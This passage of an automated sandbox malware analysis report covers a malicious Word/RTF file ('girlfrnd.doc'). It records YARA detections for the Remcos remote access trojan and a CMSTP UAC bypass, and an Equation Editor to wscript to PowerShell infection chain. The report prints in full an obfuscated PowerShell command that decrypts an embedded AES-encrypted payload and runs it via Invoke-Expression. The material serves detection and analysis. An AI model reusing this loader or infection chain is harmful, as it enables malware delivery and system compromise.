              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
              Source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Very long command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116Jump to behavior
              Windows Scripting host queries suspicious COM object (likely to drop second stage)
              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
              Wscript starts Powershell (via cmd or directly)
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,8_2_004167B4
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0031BE292_2_0031BE29
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00319A592_2_00319A59
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0031468E2_2_0031468E
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_003199CB2_2_003199CB
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_002796696_2_00279669
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_002755B36_2_002755B3
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E0CC8_2_0043E0CC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041F0FA8_2_0041F0FA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004541598_2_00454159
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004381688_2_00438168
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004461F08_2_004461F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E2FB8_2_0043E2FB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0045332B8_2_0045332B
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0042739D8_2_0042739D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004374E68_2_004374E6
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E5588_2_0043E558
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004387708_2_00438770
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004378FE8_2_004378FE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004339468_2_00433946
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044D9C98_2_0044D9C9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00427A468_2_00427A46
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041DB628_2_0041DB62
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00427BAF8_2_00427BAF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00437D338_2_00437D33
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00435E5E8_2_00435E5E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00426E0E8_2_00426E0E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043DE9D8_2_0043DE9D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00413FCA8_2_00413FCA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00436FEA8_2_00436FEA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434E10 appears 54 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00402093 appears 50 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434770 appears 41 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00401E65 appears 34 times
              Source: girlfrnd.doc, type: SAMPLEMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
              Source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winDOC@9/14@4/4
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,8_2_00417952
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,8_2_0040F474
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,8_2_0041B4A8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_0041AA4A
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\Desktop\~$rlfrnd.docJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JW
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR6612.tmpJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....l.......t...............................................................`..........s............Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....l.......t.......................................................................................Jump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: girlfrnd.docReversingLabs: Detection: 47%
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
